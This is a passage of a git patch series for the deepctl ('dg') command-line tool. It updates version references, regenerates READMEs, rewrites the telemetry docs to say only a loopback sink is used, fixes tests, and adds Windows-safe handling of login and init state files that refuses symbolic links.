@@ -104,7 +104,7 @@ def golden_042(config: Config, explicit: str | None, kr: FakeKeyring) -> str | N
 
 
 def whoami_source_042(config: Config, key: str | None, kr: FakeKeyring) -> str:
-    """`dg whoami`'s key_source rule (0.4.2), plus the flag."""
+    """`dg whoami`'s key_source rule (0.4.1), plus the flag."""
     if key is None:
         return credentials.KEY_SOURCE_NONE
     name = config.profile or "default"
@@ -180,7 +180,7 @@ def test_login_forgets_the_cached_answer(home, kr, monkeypatch):
 def test_project_id_precedence(home, kr, monkeypatch):
     write_config(home, {"profiles": {"default": {"project_id": "p-file"}}})
     monkeypatch.setenv("DEEPGRAM_PROJECT_ID", "p-env")
-    # Config merges the env value over the file's, as in 0.4.2.
+    # Config merges the env value over the file's, as in 0.4.1.
     assert AuthManager(Config()).get_project_id() == "p-env"
     assert AuthManager(Config(), None, "p-flag").get_project_id() == "p-flag"
     monkeypatch.delenv("DEEPGRAM_PROJECT_ID")
@@ -194,9 +194,9 @@ def test_project_id_precedence(home, kr, monkeypatch):
 def test_env_key_is_reported_as_the_environments(home, kr, monkeypatch):
     monkeypatch.setenv("DEEPGRAM_API_KEY", "f" * 40)
     auth = AuthManager(Config())
-    # 0.4.2 said "profile 'default'": Config merges the env key into the profile.
+    # 0.4.1 said "profile 'default'": Config merges the env key into the profile.
     assert auth.get_credential_source() == "environment variables"
-    assert auth.has_profile_credentials() == (True, False)  # 0.4.2's answer
+    assert auth.has_profile_credentials() == (True, False)  # 0.4.1's answer
 
 
 def test_stored_key_is_reported_as_the_profiles(home, kr, monkeypatch):
@@ -265,7 +265,7 @@ def test_trusted_expiry_still_deletes_keyring(home, kr):
 
 
 def test_introspection_never_prunes(home, kr, monkeypatch):
-    """Whoami and login's checks stay read-only, as in 0.4.2."""
+    """Whoami and login's checks stay read-only, as in 0.4.1."""
     past = (datetime.now(timezone.utc) - timedelta(days=1)).isoformat()
     write_config(home, {"profiles": {"default": {"dg_token_expires_at": past}}})
     kr.entries["api-key.default"] = "k" * 40
@@ -275,7 +275,7 @@ def test_introspection_never_prunes(home, kr, monkeypatch):
     assert auth.has_profile_credentials("default") == (False, False)
     assert auth.is_authenticated() is True
     assert kr.deletes == []
-    # A command that uses the key prunes it, once (0.4.2's get_api_key).
+    # A command that uses the key prunes it, once (0.4.1's get_api_key).
     assert auth.get_api_key() == "e" * 40
     assert auth.get_api_key() == "e" * 40
     assert kr.deletes == ["api-key.default"]
diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
index e42900b8..05b9deb5 100644
--- a/src/deepctl/_cache.py
+++ b/src/deepctl/_cache.py
@@ -66,7 +66,7 @@
 )
 
 
-# Plugin command names (the 0.4.2 rule; plugin_manager._VALID_PLUGIN_NAME).
+# Plugin command names (the 0.4.1 rule; plugin_manager._VALID_PLUGIN_NAME).
 VALID_PLUGIN_NAME = re.compile(r"[a-z][a-z0-9-]{0,63}")
 # Format characters a cached row may carry: ZWNJ and ZWJ, which Persian,
 # Indic scripts and emoji sequences need. Every other Cf character (bidi
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index c5862c6e..21f82fe5 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -261,7 +261,7 @@ class LazyGroup(click.Group):
 
     Discovery (``PluginManager.discover_plugins``) runs for a name that
     isn't built in, for root ``--help``, for ``dg plugin list`` and for a
-    built-in name listed in ``plugins.allow_override``. Every 0.4.2 plugin
+    built-in name listed in ``plugins.allow_override``. Every 0.4.1 plugin
     rule applies unchanged there: reserved built-in names,
     ``W-PLUGIN-BADNAME``, ``plugins.allow_override`` and the trust root.
     Built-ins are never loaded through an entry point: their module comes
@@ -501,7 +501,7 @@ def _expand_command_word(self, ctx: click.Context, args: list[str]) -> list[str]
         unless ``plugins.allow_override`` lists the alias. Any other
         ``<group>-<x>`` runs ``<group> <x>`` when ``<group>`` is a built-in
         group and ``<x>`` is one of its subcommands, a plugin's included
-        (0.4.2 parity); otherwise argv is left for unknown-name discovery.
+        (0.4.1 parity); otherwise argv is left for unknown-name discovery.
         """
         word = args[0]
         if word in _manifest.top_level():
diff --git a/src/deepctl/_manifest_build.py b/src/deepctl/_manifest_build.py
index a5c76907..06fb0d11 100644
--- a/src/deepctl/_manifest_build.py
+++ b/src/deepctl/_manifest_build.py
@@ -42,7 +42,7 @@
 MANIFEST_NAME = "_manifest.json"
 HELP_DIR_NAME = "_help"
 
-# Command, alias and tool names: the plugin name rule (0.4.2), so a built-in
+# Command, alias and tool names: the plugin name rule (0.4.1), so a built-in
 # name is always one a plugin could also try to claim.
 NAME = re.compile(r"[a-z][a-z0-9-]{0,63}")
 TOOL_NAME = re.compile(r"[a-z][a-z0-9_]{0,63}")
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 7da1284c..7e017e92 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -382,7 +382,7 @@ def test_eager_alias_runs_the_builtin(
 
 class TestHyphenatedSubcommands:
     """``dg <group>-<x>`` runs ``dg <group> <x>`` for any subcommand of a
-    built-in group, a plugin's included (0.4.2 parity)."""
+    built-in group, a plugin's included (0.4.1 parity)."""
 
     @pytest.fixture
     def debug_with_extra(
diff --git a/tests/upgrade/lib.sh b/tests/upgrade/lib.sh
index 5e99f33c..34cb0165 100644
--- a/tests/upgrade/lib.sh
+++ b/tests/upgrade/lib.sh
@@ -14,7 +14,7 @@ export PIP_DISABLE_PIP_VERSION_CHECK=1 PIP_NO_INPUT=1
 mkdir -p /idx/pool
 W=/w; WH=$W/wheelhouse
 CUR=$(cat $W/lockstep/cur/VERSION); NEXT=$(cat $W/lockstep/next/VERSION)
-FIELD=$(cat $W/FIELD_VERSIONS)                # e.g. "0.3.3 0.4.0 0.4.1 0.4.2"
+FIELD=$(cat $W/FIELD_VERSIONS)                # e.g. "0.3.3 0.4.0 0.4.1"
 LCUR="$W/lockstep/cur"; LNEXT="$W/lockstep/next"
 field_dirs(){ for d in $W/field/*/; do [ -d "$d" ] && printf '%s ' "${d%/}"; done; }
 mk(){ python -I /s/mkidx.py /idx/$1 /idx/pool "${@:2}" 2>>/o/idx.log; }

From 62fe4973c692a732a965b200883fd8d292423f39 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:03:53 -0500
Subject: [PATCH 70/88] build: regenerate the stale package READMEs and run the
 generator with uv

The deepctl-core and deepctl-cmd-debug-probe READMEs didn't list the
websockets requirement they now have. make readmes and make
readmes-check ran the system python3, which on some machines is too old
for the generator (it needs tomllib, Python 3.11+); they now use
uv run python, like the other Makefile targets, and the --check message
points at make readmes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 Makefile                                   | 4 ++--
 packages/deepctl-cmd-debug-probe/README.md | 2 +-
 packages/deepctl-core/README.md            | 1 +
 scripts/generate_readmes.py                | 5 +----
 4 files changed, 5 insertions(+), 7 deletions(-)

diff --git a/Makefile b/Makefile
index 9011d43f..aff388c0 100644
--- a/Makefile
+++ b/Makefile
@@ -143,10 +143,10 @@ verify-packages: ## Verify built packages with twine
 	twine check dist/*
 
 readmes: ## Generate sub-package READMEs from pyproject.toml metadata
-	python3 scripts/generate_readmes.py
+	uv run python scripts/generate_readmes.py
 
 readmes-check: ## Check sub-package READMEs are up to date
-	python3 scripts/generate_readmes.py --check
+	uv run python scripts/generate_readmes.py --check
 
 floors-check: ## Check lockstep versions: every package at the root version, every first-party pin ==
 	uv run python scripts/check_dependency_floors.py
diff --git a/packages/deepctl-cmd-debug-probe/README.md b/packages/deepctl-cmd-debug-probe/README.md
index dbb70ddb..e9f70bc7 100644
--- a/packages/deepctl-cmd-debug-probe/README.md
+++ b/packages/deepctl-cmd-debug-probe/README.md
@@ -38,7 +38,7 @@ pipx run deepctl --help
 - `click>=8.2.0,<9`
 - `rich>=13.0.0,<16`
 - `pydantic>=2.0.0,<3`
-- `websockets>=13.0,<18`
+- `websockets>=13.1,<18`
 
 ## License
 
diff --git a/packages/deepctl-core/README.md b/packages/deepctl-core/README.md
index f173d1f9..1b27b9ae 100644
--- a/packages/deepctl-core/README.md
+++ b/packages/deepctl-core/README.md
@@ -39,6 +39,7 @@ pipx run deepctl --help
 - `pyyaml>=6.0.0`
 - `platformdirs>=3.0.0,<5`
 - `packaging>=21.0`
+- `websockets>=13.1,<18`
 
 ## License
 
diff --git a/scripts/generate_readmes.py b/scripts/generate_readmes.py
index 59900eb6..c07d478a 100644
--- a/scripts/generate_readmes.py
+++ b/scripts/generate_readmes.py
@@ -489,10 +489,7 @@ def main() -> None:
             stale.append("README.md")
 
     if args.check and stale:
-        print(
-            f"\n{len(stale)} README(s) out of date. "
-            "Run: python scripts/generate_readmes.py"
-        )
+        print(f"\n{len(stale)} README(s) out of date. Run: make readmes")
         sys.exit(1)
 
     if not args.check and not args.dry_run:

From b2e1889b8b26b4a29456fb938643d6a1af740de4 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:04:26 -0500
Subject: [PATCH 71/88] docs(telemetry): say this version sends no telemetry

docs/telemetry.md described error reports as sent by default. This
version has no built-in destination: the reporting code runs only with a
loopback DEEPCTL_TELEMETRY_DSN, for tests and local development. The
page now says so up front, and describes the switches, DEEPCTL_TELEMETRY=log
and the field schema as they apply to a loopback sink.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 docs/telemetry.md | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/docs/telemetry.md b/docs/telemetry.md
index a9ad2f1f..577847d8 100644
--- a/docs/telemetry.md
+++ b/docs/telemetry.md
@@ -1,16 +1,19 @@
 # Telemetry
 
-dg sends one error report when a command fails with an unexpected error. Nothing is sent when a command succeeds, for a usage error or another error dg reports to you, or for `--help` and `--version`. The README's Telemetry section says where reports go.
+This version of dg sends no telemetry: no error reports, usage data or other telemetry, whether a command succeeds or fails. It has no built-in destination for reports. dg still contacts the Deepgram API for the commands you run, and pypi.org to check for updates.
+
+The error-reporting code is still in dg, and it runs only when `DEEPCTL_TELEMETRY_DSN` points at a sink on this machine (a loopback address such as `127.0.0.1`), which is for tests and local development. A value that points anywhere else is ignored. This page describes what that code does with a loopback sink: when it runs, the switches that turn it off, and the exact fields of a report.
 
 ## When it runs
 
-- **At most one report per run**, and only for an unexpected error.
+- **Only with a loopback `DEEPCTL_TELEMETRY_DSN`.** Without one, dg installs no error hooks, never loads the reporting library, and the last line of `dg --help` says "This version of dg sends no telemetry."
+- **At most one report per run**, and only for an unexpected error. Nothing is reported when a command succeeds, for a usage error or another error dg reports to you, or for `--help` and `--version`.
 - **No network or reporting code on the success path.** The reporting library is loaded only after an unexpected error, so a command that succeeds opens no connection for telemetry.
-- **A short time budget.** dg waits about 0.6 s at most for a report, loading included, and doesn't wait at all when no report was queued. With blocked or slow egress, a failing command takes at most that much longer.
+- **A short time budget.** dg waits about 0.6 s at most for a report, loading included, and doesn't wait at all when no report was queued.
 
 ## Turn it off
 
-Any one of these turns telemetry off. They are checked in this order:
+With a loopback sink set, any one of these turns reporting off. They are checked in this order:
 
 | Switch | Scope |
 |---|---|
@@ -21,14 +24,14 @@ Any one of these turns telemetry off. They are checked in this order:
 | `CI` set (as CI services do) | Any CI job |
 | `telemetry.enabled: false` in your `config.yaml` | Always |
 
-For `DEEPCTL_TELEMETRY_DISABLED`, `DO_NOT_TRACK` and `CI`, any value except an empty one, `0`, `false`, `no` or `off` turns telemetry off. `DEEPCTL_TELEMETRY` turns it off when set to `off`, `0`, `false`, `no` or `disabled`; `log` is described below, and any other value changes nothing. A config file dg won't load (unreadable, too large, not valid YAML, a repeated `telemetry` key, or one dg doesn't trust in an AI agent session) counts as turned off too. A project's `deepgram.yaml` can't change these settings. The last line of `dg --help` shows whether telemetry is on.
+For `DEEPCTL_TELEMETRY_DISABLED`, `DO_NOT_TRACK` and `CI`, any value except an empty one, `0`, `false`, `no` or `off` turns reporting off. `DEEPCTL_TELEMETRY` turns it off when set to `off`, `0`, `false`, `no` or `disabled`; `log` is described below, and any other value changes nothing. A config file dg won't load (unreadable, too large, not valid YAML, a repeated `telemetry` key, or one dg doesn't trust in an AI agent session) counts as turned off too. A project's `deepgram.yaml` can't change these settings.
 
-## See what would be sent
+## See a report
 
-Run a command with `DEEPCTL_TELEMETRY=log`. If it fails with an unexpected error and telemetry is on, dg prints the report it would have sent to stderr, as one JSON line, and sends nothing.
+With a loopback sink set, run a command with `DEEPCTL_TELEMETRY=log`. If it fails with an unexpected error and reporting is on, dg prints the report to stderr as one JSON line and sends nothing, not even to the loopback sink.
 
 ```sh
-DEEPCTL_TELEMETRY=log dg listen recording.wav
+DEEPCTL_TELEMETRY_DSN=http://key@127.0.0.1:9000/1 DEEPCTL_TELEMETRY=log dg listen recording.wav
 ```
 
 ## Field schema

From 659e71bfc4ecd84ef650d3a8e85bd16a6756170b Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:08:33 -0500
Subject: [PATCH 72/88] test(cli): patch both built-in tables in the
 missing-package test

The test removed a built-in's package by pointing its manifest entry at a
module that doesn't exist, but plugin_manager had already read the
built-in module table from the real manifest. The module then wasn't the
built-in's own, so the check that runs before import refused it as a
plugin replacing a built-in, and the test never reached the
dependency_missing error. That order is right: a module that isn't the
built-in's own is never imported. The test now patches both tables, as
an uninstalled package leaves them, and gets dependency_missing again.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 tests/unit/test_lazy_group.py | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 7e017e92..06a94cfe 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -725,10 +725,24 @@ def test_missing_module_still_prints_help(
         capsys: pytest.CaptureFixture[str],
     ) -> None:
         """A built-in whose package is gone still shows its help; running it
-        reports dependency_missing."""
+        reports dependency_missing.
+
+        The manifest and the built-in module table plugin_manager reads from
+        it at import both name the missing module, as they do when a
+        package is uninstalled. (With only the manifest patched, the module
+        wouldn't be the built-in's own, and the check before import would
+        refuse it as a plugin replacing a built-in, which is right for a
+        module that isn't the built-in's.)"""
+        from deepctl_core import plugin_manager
+
         gone = dict(_manifest.commands()["models"], module="deepctl_cmd_gone.command")
         commands = dict(_manifest.commands(), models=gone)
         monkeypatch.setattr(_manifest, "commands", lambda: commands)
+        monkeypatch.setattr(
+            plugin_manager,
+            "BUILTIN_COMMAND_MODULES",
+            {**plugin_manager.BUILTIN_COMMAND_MODULES, "models": gone["module"]},
+        )
         _cli.run(["models", "--help"], prog="dg")
         out = capsys.readouterr()
         assert out.out.startswith("Usage: dg models [OPTIONS]")

From c5511b2087da42cfb9313cac3beae755608e80a8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:08:33 -0500
Subject: [PATCH 73/88] test(mcp): let the docs lint pass the entry point's
 transport refusal

python -m deepctl_cmd_mcp still parses the transport names an old MCP
config may use, streamable-http among them, so it can print the
stdio-only error instead of an argparse error. The lint that keeps
shipped text from promising other transports flagged that refusal. It now
skips that file for that one check.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 tests/unit/test_mcp_docs_lint.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/tests/unit/test_mcp_docs_lint.py b/tests/unit/test_mcp_docs_lint.py
index 6a193537..2d924cd1 100644
--- a/tests/unit/test_mcp_docs_lint.py
+++ b/tests/unit/test_mcp_docs_lint.py
@@ -71,6 +71,12 @@
 }
 
 SKIP_DIRS = {"node_modules", "dist", ".astro", "__pycache__", "tests"}
+# Source that names a transport only to refuse it: the standalone entry point
+# (`python -m deepctl_cmd_mcp`) still parses the names an old MCP config may
+# use, so it prints E_MCP_TRANSPORT instead of an argparse error.
+REFUSES = {
+    ("packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/__main__.py", "streamable-http"),
+}
 TEXT_SUFFIXES = {".md", ".txt", ".py", ".astro", ".ts", ".tsx", ".js", ".json"}
 
 
@@ -121,6 +127,8 @@ def _hits() -> list[str]:
         lines = text.splitlines()
         rel = path.relative_to(REPO)
         for number, label in check_text(text):
+            if (rel.as_posix(), label) in REFUSES:
+                continue
             hits.append(f"{rel}:{number}: {label}: {lines[number - 1].strip()}")
     return hits
 

From f8467e80ba1ebd99ef7a8fc10dcdfd723064c0b8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 22:12:30 -0500
Subject: [PATCH 74/88] fix(login): save the pending login and init's records
 on Windows

Windows can't open a directory with os.open, so saving a pending device
login always failed there: `dg login` without a terminal returned
state_unwritable and `--complete` had nothing to finish, and `dg init`
warned that its progress wasn't saved and never resumed. Where a
directory can't be opened, the state directory and init's records
directory are now checked by path, and the files are written, replaced
and read by path. Without O_NOFOLLOW, a pending login or clone record
that is a symbolic link is still refused, and the file opened must be
the one that was checked. The tests run the same contract with
directories that can't be opened and no O_NOFOLLOW, on any OS.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../src/deepctl_cmd_init/clones.py            | 37 +++++++---
 .../src/deepctl_cmd_init/lifecycle.py         | 10 +--
 .../tests/unit/_init_harness.py               |  1 +
 .../tests/unit/test_init_resume.py            | 42 +++++++++++
 .../src/deepctl_core/login_state.py           | 51 +++++++++++--
 .../tests/unit/test_login_state.py            | 72 +++++++++++++++++++
 6 files changed, 193 insertions(+), 20 deletions(-)

diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py
index 6beae8b5..cd349729 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/clones.py
@@ -22,7 +22,8 @@
 from dataclasses import asdict, dataclass
 from typing import Any
 
-from deepctl_core.login_state import StateDirError, _open_dir, state_dir
+from deepctl_core import login_state
+from deepctl_core.login_state import StateDirError, _open_dir, close_dir, state_dir
 
 DIR_NAME = "init-clones"
 _MAX_BYTES = 16 * 1024
@@ -49,13 +50,27 @@ def _name(real_path: str) -> str:
 
 
 def _use_dir_fd() -> bool:
-    return sys.platform != "win32" and os.open in os.supports_dir_fd
+    return login_state.DIR_FDS and os.open in os.supports_dir_fd
 
 
-def _open_records(*, create: bool) -> int:
+def _open_records(*, create: bool) -> int | None:
     """Open the records directory inside the state directory, both checked:
-    real directories owned by this user, the records directory 0700."""
+    real directories owned by this user, the records directory 0700.
+
+    None where directories can't be opened (Windows): both are then checked
+    by path, and the records are read and written by path.
+    """
     parent = _open_dir(state_dir(), create=create)
+    if parent is None:
+        if create:
+            try:
+                os.mkdir(state_dir() / DIR_NAME, 0o700)
+            except FileExistsError:
+                pass
+        st = os.stat(state_dir() / DIR_NAME)
+        if not stat.S_ISDIR(st.st_mode):
+            raise StateDirError(errno.ENOTDIR, "not a directory", DIR_NAME)
+        return None
     try:
         if create:
             try:
@@ -71,7 +86,7 @@ def _open_records(*, create: bool) -> int:
         else:
             fd = os.open(state_dir() / DIR_NAME, flags)
     finally:
-        os.close(parent)
+        close_dir(parent)
     try:
         st = os.fstat(fd)
         if not stat.S_ISDIR(st.st_mode):
@@ -120,13 +135,13 @@ def load(real_path: str) -> CloneRecord | None:
         return None
     name = _name(real_path) + ".json"
     try:
-        flags = os.O_RDONLY | _NOFOLLOW | _NONBLOCK | _BINARY
+        flags = os.O_RDONLY | _NONBLOCK | _BINARY
         if _use_dir_fd():
-            fd = os.open(name, flags, dir_fd=dir_fd)
+            fd = login_state.open_nofollow(name, flags, dir_fd=dir_fd)
         else:
-            fd = os.open(state_dir() / DIR_NAME / name, flags)
+            fd = login_state.open_nofollow(state_dir() / DIR_NAME / name, flags)
     except OSError:
-        os.close(dir_fd)
+        close_dir(dir_fd)
         return None
     try:
         st = os.fstat(fd)
@@ -143,7 +158,7 @@ def load(real_path: str) -> CloneRecord | None:
         return None
     finally:
         os.close(fd)
-        os.close(dir_fd)
+        close_dir(dir_fd)
     try:
         return _valid(json.loads(raw.decode("utf-8")), real_path)
     except ValueError:
@@ -189,4 +204,4 @@ def save(record: CloneRecord) -> None:
                 pass
             raise
     finally:
-        os.close(dir_fd)
+        close_dir(dir_fd)
diff --git a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
index fb806c53..7ea833e6 100644
--- a/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
+++ b/packages/deepctl-cmd-init/src/deepctl_cmd_init/lifecycle.py
@@ -222,11 +222,13 @@ def same_directory(target_dir: Path, dev: int, ino: int) -> bool:
     inode), and it and its ``.git`` must be owned by this user, with
     ``.git`` a real directory.
 
-    On Windows, where ``st_ino`` can be 0 or unstable and there are no
-    POSIX owners, only the path checks apply: no link, ``.git`` a real
-    directory.
+    On Windows, where a directory can't be opened, ``st_ino`` can be 0 or
+    unstable and there are no POSIX owners, only the path checks apply: no
+    link, ``.git`` a real directory.
     """
-    if os.name == "nt":
+    from deepctl_core import login_state
+
+    if not login_state.DIR_FDS:
         try:
             top = os.lstat(target_dir)
             git = os.lstat(target_dir / ".git")
diff --git a/packages/deepctl-cmd-init/tests/unit/_init_harness.py b/packages/deepctl-cmd-init/tests/unit/_init_harness.py
index 9e14d8d3..9c277a7e 100644
--- a/packages/deepctl-cmd-init/tests/unit/_init_harness.py
+++ b/packages/deepctl-cmd-init/tests/unit/_init_harness.py
@@ -78,6 +78,7 @@ def __init__(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
         self.home = tmp_path / "home"
         self.home.mkdir()
         monkeypatch.setenv("HOME", str(self.home))
+        monkeypatch.setenv("USERPROFILE", str(self.home))  # Path.home() on Windows
         self.makefile = False
         self.clones = 0
         self.setup_runs: list[Any] = []
diff --git a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
index ec6f2807..cfe89f03 100644
--- a/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
+++ b/packages/deepctl-cmd-init/tests/unit/test_init_resume.py
@@ -17,6 +17,7 @@
 
 import pytest
 from deepctl_cmd_init import clones, lifecycle
+from deepctl_core import login_state
 from deepctl_cmd_init.models import InitResult
 
 # The shared harness, loaded by path under its own name: a relative import
@@ -164,6 +165,7 @@ def test_made_again_at_the_same_path(
         self._refused(run, calls, install=True)
         assert not (run.dest / ".env").exists()
 
+    @pytest.mark.skipif(os.name != "posix", reason="POSIX owners")
     def test_owned_by_someone_else(
         self, run: Any, monkeypatch: pytest.MonkeyPatch
     ) -> None:
@@ -356,10 +358,28 @@ def recording(argv: Any, *args: Any, **kwargs: Any) -> Any:
         assert not [c for c in calls if str(run.dest) in " ".join(c)], calls
 
 
+def _windows_directories(monkeypatch: pytest.MonkeyPatch) -> None:
+    """Windows' rules on any OS: a directory can't be opened (os.open raises
+    PermissionError, as on Windows) and there is no O_NOFOLLOW."""
+    real_open = os.open
+
+    def open_(path: Any, flags: int, mode: int = 0o777, *, dir_fd: Any = None) -> int:
+        assert dir_fd is None, "no directory descriptors on Windows"
+        if os.path.isdir(path):
+            raise PermissionError(13, "Permission denied", str(path))
+        return real_open(path, flags, mode)
+
+    monkeypatch.setattr(login_state, "DIR_FDS", False)
+    monkeypatch.setattr(login_state, "_O_NOFOLLOW", 0)
+    monkeypatch.setattr(clones, "_NOFOLLOW", 0)
+    monkeypatch.setattr(os, "open", open_)
+
+
 class TestRecord:
     @pytest.fixture(autouse=True)
     def _home(self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
         monkeypatch.setenv("HOME", str(tmp_path / "home"))
+        monkeypatch.setenv("USERPROFILE", str(tmp_path / "home"))
 
     def _record(self, path: str = "/x/app") -> Any:
         return clones.CloneRecord(
@@ -479,3 +499,25 @@ def test_invalid_content_is_ignored(self, data: Any) -> None:
         clones.save(self._record())
         self._file().write_text(json.dumps(data))
         assert clones.load("/x/app") is None
+
+
+class TestRecordWithoutDirectoryHandles(TestRecord):
+    """The same contract where a directory can't be opened (Windows)."""
+
+    @pytest.fixture(autouse=True)
+    def _windows(self, _home: None, monkeypatch: pytest.MonkeyPatch) -> None:
+        _windows_directories(monkeypatch)
+
+    @pytest.mark.skip(reason="Windows has no POSIX directory modes to check")
+    def test_loose_directory_is_ignored(self) -> None:
+        pass
+
+
+@needs_git
+class TestResumeWithoutDirectoryHandles(TestResume):
+    """A rerun resumes where a directory can't be opened (Windows): the
+    record is written and read by path."""
+
+    @pytest.fixture(autouse=True)
+    def _windows(self, run: Any, monkeypatch: pytest.MonkeyPatch) -> None:
+        _windows_directories(monkeypatch)
diff --git a/packages/deepctl-core/src/deepctl_core/login_state.py b/packages/deepctl-core/src/deepctl_core/login_state.py
index 2a5eeb58..3de1ec67 100644
--- a/packages/deepctl-core/src/deepctl_core/login_state.py
+++ b/packages/deepctl-core/src/deepctl_core/login_state.py
@@ -32,6 +32,7 @@
 _O_DIRECTORY = getattr(os, "O_DIRECTORY", 0)
 _O_NONBLOCK = getattr(os, "O_NONBLOCK", 0)
 _O_BINARY = getattr(os, "O_BINARY", 0)
+_REPARSE_POINT = getattr(stat, "FILE_ATTRIBUTE_REPARSE_POINT", 0x400)
 
 # Why a pending file fails the agent-session trust test; the
 # values are msg.W_CFG_UNTRUSTED_WHY keys.
@@ -145,12 +146,47 @@ def _from_json(data: object) -> PendingLogin | None:
     return pending
 
 
-def _open_dir(directory: Path, *, create: bool) -> int:
+# Whether a directory can be opened for a descriptor. Windows can't open a
+# directory with os.open (always PermissionError), so there dg checks the
+# directory by path and works with paths only.
+DIR_FDS = sys.platform != "win32"
+
+
+def close_dir(fd: int | None) -> None:
+    """Close a descriptor from ``_open_dir`` (None on Windows)."""
+    if fd is not None:
+        os.close(fd)
+
+
+def open_nofollow(path: str | Path, flags: int, *, dir_fd: int | None = None) -> int:
+    """``os.open`` that refuses a symbolic link (OSError ELOOP).
+
+    With O_NOFOLLOW the kernel refuses it. Where there is none (Windows),
+    a link or other reparse point is refused by ``lstat`` first, and the
+    file opened must be the one ``lstat`` saw.
+    """
+    if _O_NOFOLLOW:
+        return os.open(path, flags | _O_NOFOLLOW, dir_fd=dir_fd)
+    before = os.lstat(path, dir_fd=dir_fd)
+    attributes = getattr(before, "st_file_attributes", 0)
+    if stat.S_ISLNK(before.st_mode) or attributes & _REPARSE_POINT:
+        raise OSError(errno.ELOOP, "is a symbolic link", str(path))
+    fd = os.open(path, flags, dir_fd=dir_fd)
+    after = os.fstat(fd)
+    if (after.st_dev, after.st_ino) != (before.st_dev, before.st_ino):
+        os.close(fd)
+        raise OSError(errno.ELOOP, "replaced while opening", str(path))
+    return fd
+
+
+def _open_dir(directory: Path, *, create: bool) -> int | None:
     """Open ``directory`` (made 0700 when ``create``) and check it.
 
     It must be a directory owned by this user; one the user can't keep
     private is refused. Group or other bits on the user's own directory are
-    removed, so the pending file is in a 0700 directory.
+    removed, so the pending file is in a 0700 directory. Where directories
+    can't be opened (``DIR_FDS`` false: Windows) it is checked by path and
+    None is returned; close the result with ``close_dir``.
     """
     if create:
         try:
@@ -158,6 +194,11 @@ def _open_dir(directory: Path, *, create: bool) -> int:
             os.mkdir(directory, 0o700)
         except FileExistsError:
             pass
+    if not DIR_FDS:
+        st = os.stat(directory)
+        if not stat.S_ISDIR(st.st_mode):
+            raise StateDirError(errno.ENOTDIR, "not a directory", str(directory))
+        return None
     fd = os.open(directory, os.O_RDONLY | _O_DIRECTORY)
     try:
         st = os.fstat(fd)
@@ -190,7 +231,7 @@ def save_pending(pending: PendingLogin) -> Path:
     data = (json.dumps(asdict(pending), indent=2) + "\n").encode("utf-8")
     tmp_name = f".{PENDING_NAME}.{secrets.token_hex(8)}.tmp"
     dir_fd = _open_dir(directory, create=True)
-    use_dir_fd = sys.platform != "win32" and os.open in os.supports_dir_fd
+    use_dir_fd = dir_fd is not None and os.open in os.supports_dir_fd
     try:
         flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL | _O_NOFOLLOW | _O_BINARY
         if use_dir_fd:
@@ -221,7 +262,7 @@ def save_pending(pending: PendingLogin) -> Path:
                 pass
             raise
     finally:
-        os.close(dir_fd)
+        close_dir(dir_fd)
     return target
 
 
@@ -246,7 +287,7 @@ def load_pending(*, agent: bool) -> LoadedPending:
     """
     path = state_dir() / PENDING_NAME
     try:
-        fd = os.open(path, os.O_RDONLY | _O_NOFOLLOW | _O_NONBLOCK | _O_BINARY)
+        fd = open_nofollow(path, os.O_RDONLY | _O_NONBLOCK | _O_BINARY)
     except FileNotFoundError:
         return LoadedPending(None, path)
     except OSError as exc:
diff --git a/packages/deepctl-core/tests/unit/test_login_state.py b/packages/deepctl-core/tests/unit/test_login_state.py
index c8f84dbd..fec53273 100644
--- a/packages/deepctl-core/tests/unit/test_login_state.py
+++ b/packages/deepctl-core/tests/unit/test_login_state.py
@@ -2,6 +2,7 @@
 
 from __future__ import annotations
 
+import errno
 import json
 import os
 import stat
@@ -21,6 +22,23 @@
 posix = pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
 
 
+@pytest.fixture
+def windows_dirs(monkeypatch):
+    """Windows' rules on any OS: a directory can't be opened (os.open raises
+    PermissionError, as on Windows) and there is no O_NOFOLLOW."""
+    real_open = os.open
+
+    def open_(path, flags, mode=0o777, *, dir_fd=None):
